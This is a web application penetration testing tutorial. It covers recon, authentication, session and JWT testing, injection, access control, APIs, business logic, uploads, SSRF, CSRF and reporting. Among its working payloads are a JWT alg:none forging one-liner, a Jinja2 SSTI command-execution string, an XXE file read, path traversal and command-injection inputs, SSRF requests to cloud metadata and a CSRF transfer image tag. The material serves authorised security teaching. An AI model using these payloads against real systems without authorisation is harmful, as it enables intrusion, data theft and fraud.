Web Application Pentesting

Chapter 1 — Web Pentest Methodology

Professional web application testing follows a structured methodology. Rushing to exploitation without proper reconnaissance leads to missed vulnerabilities.

# The web pentest phases:
1. Scoping     → define what's in/out of scope, get written authorisation
2. Recon       → passive info gathering (OSINT, DNS, tech stack)
3. Mapping     → spider the application, discover all endpoints
4. Testing     → test each area systematically (OWASP methodology)
5. Exploitation → exploit confirmed vulnerabilities (with care)
6. Post-Exploit → assess impact, pivot if authorised
7. Reporting   → document findings with CVSS scores and remediation

# Essential tool setup
Burp Suite → the core tool (intercept, repeat, intruder, scanner)
Firefox    → configured to proxy through Burp (127.0.0.1:8080)
FoxyProxy  → browser extension to easily toggle proxy on/off

Chapter 2 — Recon & Application Mapping

# Passive recon — never touching the target
whois target.com
dig target.com ANY
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' | sort -u
theHarvester -d target.com -b all

# Active recon — crawling the application
# In Burp: Spider the site
Target → Site Map → right-click target → Spider this host

# Directory bruteforce
gobuster dir -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt,js

# Technology fingerprinting
whatweb https://target.com
curl -I https://target.com    # check Server, X-Powered-By headers

# JavaScript file analysis — often contains endpoints, API keys
# In Burp: Target → Site Map → filter by .js
# Or use: linkfinder.py -i https://target.com -d

Chapter 3 — Authentication Testing

# Test for weak credentials
admin:admin, admin:password, admin:123456, test:test

# Username enumeration
# Different error messages for valid vs invalid usernames?
# "User not found" vs "Incorrect password" → enumerates users!

# Brute-force with Burp Intruder
# Intercept login → Send to Intruder
# Position: mark password field as §password§
# Payload: load wordlist
# Start attack → sort by length (different response = hit)

# Password reset vulnerabilities
# Predictable reset tokens? (time-based, sequential, short)
# Token reuse? (can old tokens still work?)
# Host header injection? (reset link goes to wrong domain)

# Multi-factor authentication bypass
# Skip the MFA step entirely (direct URL navigation)?
# Response manipulation (change 2FA "invalid" to "valid")?
# Brute-force 4-6 digit codes (no rate limiting)?

Chapter 4 — Session Management

# Analyse session tokens in Burp Sequencer
# Intruder → Sequencer → select cookie → Start live capture
# Burp analyses randomness — low entropy = predictable tokens

# Cookie security flags
# Check for missing flags:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

# Missing HttpOnly → XSS can steal the cookie
# Missing Secure   → sent over HTTP (MITM risk)
# Missing SameSite → CSRF vulnerability

# JWT token testing
# Decode at jwt.io → check algorithm
# "alg": "none" attack → remove signature, change claims

# Check for JWT "alg:none" vulnerability
# Original JWT: header.payload.signature
# Modified:     header_none.modified_payload.  (empty signature)

python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=')
payload = base64.urlsafe_b64encode(json.dumps({'user':'admin','role':'admin'}).encode()).rstrip(b'=')
print(f'{header.decode()}.{payload.decode()}.')
"

Chapter 5 — Input Validation Vulnerabilities

# Test EVERY input field with:
'           → SQLi test
<script>alert(1)</script> → XSS test
../../../etc/passwd       → Path traversal
; id                      → Command injection
${7*7}                    → SSTI (Server Side Template Injection)

# SSTI — Server Side Template Injection
# If ${7*7} returns 49 in the output → SSTI confirmed!
# Jinja2 (Python): {{7*7}}         → 49
# Twig (PHP):      {{7*7}}         → 49
# FreeMarker:      ${7*7}          → 49

# SSTI → RCE in Jinja2
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# XXE — XML External Entity
# If the app accepts XML input:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>

Chapter 6 — Access Control (IDOR, Privilege Escalation)

# IDOR — Insecure Direct Object Reference
# Change IDs in URLs/parameters to access others' data
GET /api/user/1001/profile → /api/user/1002/profile
GET /download?file=invoice_1001.pdf → file=invoice_1002.pdf

# Horizontal vs Vertical privilege escalation
# Horizontal: access other USERS' data (same privilege level)
# Vertical:   access ADMIN functionality from a normal user account

# Test for vertical privesc
# Browse to admin URLs while logged in as normal user:
/admin, /admin/panel, /dashboard/admin, /management

# Parameter pollution
# POST /changepassword
# user_id=victim_id&user_id=attacker_id  → which one does the server use?

# Forced browsing
# Remove authentication (delete cookie) and try to access protected pages
# Does the app redirect? Or just load anyway?

Chapter 7 — API Testing

# Find API documentation
/api/docs, /swagger, /api/swagger.json, /openapi.json
/v1/api, /v2/api (look for versioning)

# Common API vulnerabilities:
Broken Object Level Auth (BOLA) → IDOR in APIs (change user_id)
Mass Assignment → send extra JSON fields ({"role":"admin"})
Lack of Rate Limiting → brute-force passwords/OTPs
Excessive Data Exposure → API returns more data than needed
Improper Auth → endpoints work without auth token

# Test with curl
curl -H "Authorization: Bearer TOKEN" https://api.target.com/v1/users
curl -X POST -H "Content-Type: application/json" \
  -d '{"username":"admin","role":"admin"}' \
  https://api.target.com/v1/register

Chapter 8 — Business Logic Flaws

# Business logic flaws are unique to each application
# They require understanding WHAT the app is supposed to do

# Common examples:
Price manipulation:
  → Change price in request: price=0.01 instead of 99.99
  → Apply coupon codes multiple times
  → Negative quantities (get money back)

Workflow bypass:
  → Skip payment step and go directly to order confirmation
  → Complete step 3 without doing step 2

Race conditions:
  → Transfer $100 twice simultaneously to double-spend
  → Redeem a coupon multiple times with parallel requests

Account takeover:
  → Register email with variations: admin@target.com vs admin+test@target.com
  → Case sensitivity: Admin@target.com vs admin@target.com

Chapter 9 — File & Upload Vulnerabilities

# See the dedicated lab: labs/file-upload.html
# Key tests for any upload feature:

# 1. What extensions are allowed?
# Upload: .php, .php5, .phtml, .php.jpg, .aspx

# 2. What directory is the upload saved to?
# Check HTTP response, check JavaScript, check filename in HTML

# 3. Can you read back the uploaded file?
# Navigate to the upload path and see if it's web-accessible

# 4. Path traversal in filename
# Filename: ../../../../var/www/html/shell.php
# The file might be saved outside the intended directory

Chapter 10 — Server-Side Attacks

# SSRF — Server Side Request Forgery
# App fetches a URL for you → redirect it to internal services
?url=http://localhost/admin
?url=http://169.254.169.254/latest/meta-data/  → AWS metadata
?url=file:///etc/passwd

# Blind SSRF — no output visible
# Use Burp Collaborator or interactsh for OOB detection:
?url=http://your-collaborator-url.oastify.com

# Deserialization attacks
# Serialized objects in cookies/params → modify them for RCE
# Java: ysoserial
# PHP: phpggc
# Python: marshal, pickle

# Template Injection (SSTI) → RCE
# Test: {{7*7}}, ${7*7}, #{7*7}, *{7*7}
# If 49 appears → SSTI confirmed → escalate to RCE

Chapter 11 — Client-Side Attacks

# XSS → Cookie theft, phishing, keyloggers (see XSS lab)
# CSRF — Cross-Site Request Forgery

# CSRF: trick a victim into making requests on your behalf
<!-- Hosted on attacker.com -->
<img src="https://target.com/transfer?to=attacker&amount=1000">
<!-- When victim visits attacker.com while logged into target.com,
     their browser silently makes this request with their cookies -->

# Test for missing CSRF tokens
# 1. Intercept a state-changing request (password change, email change)
# 2. Is there a CSRF token in the request?
# 3. If yes: can you remove it or reuse an old one?
# 4. Does the app check the Origin/Referer header?

# Clickjacking — embed target site in iframe to trick clicks
# Check for X-Frame-Options header:
# Missing → site is clickjackable
curl -I https://target.com | grep -i "x-frame"

Chapter 12 — Writing a Web Pentest Report

# Report structure:
1. Executive Summary (non-technical — for management)
   → Tested: target.com (June 2025)
   → Found: 2 Critical, 3 High, 5 Medium vulnerabilities
   → Overall risk: HIGH

2. Scope & Methodology
   → What was tested, dates, tools used, exclusions

3. Findings (one section per vulnerability)
   → Name: SQL Injection in login form
   → CVSS Score: 9.8 Critical
   → Description: What the vulnerability is
   → Evidence: Screenshot + request/response from Burp
   → Impact: An attacker can dump the entire database
   → Remediation: Use parameterised queries / prepared statements

4. Remediation Summary Table
   → ID, Vulnerability, Severity, Status

5. Appendix
   → Full tool output, all URLs tested

# CVSS Severity levels:
9.0-10.0 → Critical
7.0-8.9  → High
4.0-6.9  → Medium
0.1-3.9  → Low